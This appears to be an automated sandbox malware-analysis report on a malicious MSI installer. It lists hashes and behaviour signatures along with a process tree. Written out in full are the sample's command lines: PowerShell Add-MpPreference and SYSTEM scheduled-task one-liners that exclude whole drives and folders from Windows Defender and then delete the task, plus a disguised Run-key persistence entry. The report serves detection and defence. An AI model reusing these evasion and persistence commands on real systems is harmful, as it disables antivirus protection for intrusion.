Analysis
- max time kernel
150s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
29/07/2026, 13:10
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Install_28n019.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
34 signatures
150 seconds
Behavioral task
behavioral2
Sample
Install_28n019.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target Install_28n019.msi
- Size 8.6MB
- Sample260729-qeb8fagh48
- SHA256 70f2e89d60de401c273f413831581b28b41e6dfdf1678de88ada78f73d15f263
- MD5 41acb20c677a5f3a1b3f5d271e05c9d4
- SHA1 ccc63a8aadb10225474d1ddfd4692e00e6b401dd
- SHA512 73c7d06d4aabd87f0ddeadec47ff7d0f457d7e49609211e0dd321001d8962b91157484b19e2a10d62f2f6e8d82a19175fd2b6c743ab1af9157126576e5bab9e1
- SSDEEP 196608:4DPoHyBL2NB7i7z+cwih17wgQRnEAnG5keZbuA:4UHyBSo+Gh17wvGdbl
- TLSH T1349633AAB98B67B0C0DFC3F68502B07D76183FCA7F624D1A7A9D3B080D7160155B6B18
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\r40Wnc = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4448 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 3892 0TGvKe.exe - Loads dropped DLL 2 IoCs
pid Process 6060 MsiExec.exe 3892 0TGvKe.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\r40Wnc\\0TGvKe.exe\"" 0TGvKe.exe - Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 6060 MsiExec.exe 3 6060 MsiExec.exe 4 6060 MsiExec.exe 5 6060 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\S: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 5944 cmd.exe 2316 cmd.exe 4312 cmd.exe 2564 cmd.exe 3412 cmd.exe - Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b 0TGvKe.exe - Drops file in Windows directory 13 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI4906.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFF28B1C2D844CCFCD.TMP msiexec.exe File created C:\Windows\Installer\e5942ac.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{1A6C27A2-FA3D-F13A-46E4-B05FDEE281FB} msiexec.exe File created C:\Windows\SystemTemp\~DF1FF917565F2CEB4C.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI482B.tmp msiexec.exe File created C:\Windows\Installer\e5942ae.msi msiexec.exe File created C:\Windows\SystemTemp\~DFCF2EA9983F344A46.TMP msiexec.exe File opened for modification C:\Windows\Installer\e5942ac.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\SystemTemp\~DFAE3A4F5743C20BBB.TMP msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3808 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2424 cmd.exe 3284 cmd.exe 1360 cmd.exe 4240 cmd.exe 1724 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000005b2aeec40121f1360000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838015b2aeec40000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841015b2aeec4000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e35b2aeec400000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e65b2aeec400000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\PackageCode = "5CC5C0354302F2A4BB51DD30710D499D" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\PackageName = "Install_28n019.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\ProductName = "CNAPP Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\41FC6B43184718F22B055265DD07D941\2A72C6A1D3AFA31F644E0BF5ED2E18BF msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2A72C6A1D3AFA31F644E0BF5ED2E18BF\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2A72C6A1D3AFA31F644E0BF5ED2E18BF\AuthorizedLUAApp = "0" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2644 schtasks.exe 4112 schtasks.exe 6088 schtasks.exe 2096 schtasks.exe 4232 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3988 msiexec.exe 3988 msiexec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 6060 MsiExec.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe 3892 0TGvKe.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3808 msiexec.exe Token: SeIncreaseQuotaPrivilege 3808 msiexec.exe Token: SeSecurityPrivilege 3988 msiexec.exe Token: SeCreateTokenPrivilege 3808 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3808 msiexec.exe Token: SeLockMemoryPrivilege 3808 msiexec.exe Token: SeIncreaseQuotaPrivilege 3808 msiexec.exe Token: SeMachineAccountPrivilege 3808 msiexec.exe Token: SeTcbPrivilege 3808 msiexec.exe Token: SeSecurityPrivilege 3808 msiexec.exe Token: SeTakeOwnershipPrivilege 3808 msiexec.exe Token: SeLoadDriverPrivilege 3808 msiexec.exe Token: SeSystemProfilePrivilege 3808 msiexec.exe Token: SeSystemtimePrivilege 3808 msiexec.exe Token: SeProfSingleProcessPrivilege 3808 msiexec.exe Token: SeIncBasePriorityPrivilege 3808 msiexec.exe Token: SeCreatePagefilePrivilege 3808 msiexec.exe Token: SeCreatePermanentPrivilege 3808 msiexec.exe Token: SeBackupPrivilege 3808 msiexec.exe Token: SeRestorePrivilege 3808 msiexec.exe Token: SeShutdownPrivilege 3808 msiexec.exe Token: SeDebugPrivilege 3808 msiexec.exe Token: SeAuditPrivilege 3808 msiexec.exe Token: SeSystemEnvironmentPrivilege 3808 msiexec.exe Token: SeChangeNotifyPrivilege 3808 msiexec.exe Token: SeRemoteShutdownPrivilege 3808 msiexec.exe Token: SeUndockPrivilege 3808 msiexec.exe Token: SeSyncAgentPrivilege 3808 msiexec.exe Token: SeEnableDelegationPrivilege 3808 msiexec.exe Token: SeManageVolumePrivilege 3808 msiexec.exe Token: SeImpersonatePrivilege 3808 msiexec.exe Token: SeCreateGlobalPrivilege 3808 msiexec.exe Token: SeBackupPrivilege 2408 vssvc.exe Token: SeRestorePrivilege 2408 vssvc.exe Token: SeAuditPrivilege 2408 vssvc.exe Token: SeBackupPrivilege 3988 msiexec.exe Token: SeRestorePrivilege 3988 msiexec.exe Token: SeRestorePrivilege 3988 msiexec.exe Token: SeTakeOwnershipPrivilege 3988 msiexec.exe Token: SeRestorePrivilege 3988 msiexec.exe Token: SeTakeOwnershipPrivilege 3988 msiexec.exe Token: SeRestorePrivilege 3988 msiexec.exe Token: SeTakeOwnershipPrivilege 3988 msiexec.exe Token: SeBackupPrivilege 5660 srtasks.exe Token: SeRestorePrivilege 5660 srtasks.exe Token: SeSecurityPrivilege 5660 srtasks.exe Token: SeTakeOwnershipPrivilege 5660 srtasks.exe Token: SeBackupPrivilege 5660 srtasks.exe Token: SeRestorePrivilege 5660 srtasks.exe Token: SeSecurityPrivilege 5660 srtasks.exe Token: SeTakeOwnershipPrivilege 5660 srtasks.exe Token: SeRestorePrivilege 3988 msiexec.exe Token: SeTakeOwnershipPrivilege 3988 msiexec.exe Token: SeRestorePrivilege 3988 msiexec.exe Token: SeTakeOwnershipPrivilege 3988 msiexec.exe Token: SeRestorePrivilege 3988 msiexec.exe Token: SeTakeOwnershipPrivilege 3988 msiexec.exe Token: SeRestorePrivilege 3988 msiexec.exe Token: SeTakeOwnershipPrivilege 3988 msiexec.exe Token: SeRestorePrivilege 3988 msiexec.exe Token: SeTakeOwnershipPrivilege 3988 msiexec.exe Token: SeRestorePrivilege 3988 msiexec.exe Token: SeTakeOwnershipPrivilege 3988 msiexec.exe Token: SeRestorePrivilege 3988 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3808 msiexec.exe 3808 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3808 msiexec.exe 3988 msiexec.exe 6060 MsiExec.exe - Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 3988 wrote to memory of 5660 3988 msiexec.exe 94 PID 3988 wrote to memory of 6060 3988 msiexec.exe 96 PID 3892 wrote to memory of 4448 3892 0TGvKe.exe 101 PID 3892 wrote to memory of 5944 3892 0TGvKe.exe 103 PID 5944 wrote to memory of 6088 5944 cmd.exe 105 PID 5944 wrote to memory of 4620 5944 cmd.exe 106 PID 5944 wrote to memory of 5996 5944 cmd.exe 108 PID 3892 wrote to memory of 2316 3892 0TGvKe.exe 110 PID 2316 wrote to memory of 2096 2316 cmd.exe 113 PID 2316 wrote to memory of 6012 2316 cmd.exe 114 PID 2316 wrote to memory of 1632 2316 cmd.exe 117 PID 3892 wrote to memory of 4312 3892 0TGvKe.exe 119 PID 4312 wrote to memory of 4232 4312 cmd.exe 121 PID 4312 wrote to memory of 3276 4312 cmd.exe 122 PID 4312 wrote to memory of 6076 4312 cmd.exe 124 PID 1360 wrote to memory of 5660 1360 cmd.exe 126 PID 3892 wrote to memory of 2564 3892 0TGvKe.exe 127 PID 2564 wrote to memory of 2644 2564 cmd.exe 129 PID 2564 wrote to memory of 1920 2564 cmd.exe 130 PID 2564 wrote to memory of 5464 2564 cmd.exe 132 PID 2424 wrote to memory of 3504 2424 cmd.exe 134 PID 3284 wrote to memory of 4172 3284 cmd.exe 135 PID 3892 wrote to memory of 3412 3892 0TGvKe.exe 136 PID 3412 wrote to memory of 4112 3412 cmd.exe 138 PID 3412 wrote to memory of 1952 3412 cmd.exe 140 PID 3412 wrote to memory of 2076 3412 cmd.exe 142 PID 4240 wrote to memory of 6048 4240 cmd.exe 144 PID 1724 wrote to memory of 2700 1724 cmd.exe 145 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Install_28n019.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3808
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:5660
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 1A4CAFBBFEC65FE934C5BDC23FB5283F E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:6060
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2408
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4108
-
C:\Users\Public\r40Wnc\0TGvKe.exe"C:\Users\Public\r40Wnc\0TGvKe.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3892 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:4448
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\r40Wnc\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5944 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\r40Wnc\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:6088
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4620
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5996
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2096
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:6012
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4232
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3276
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:6076
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2564 -
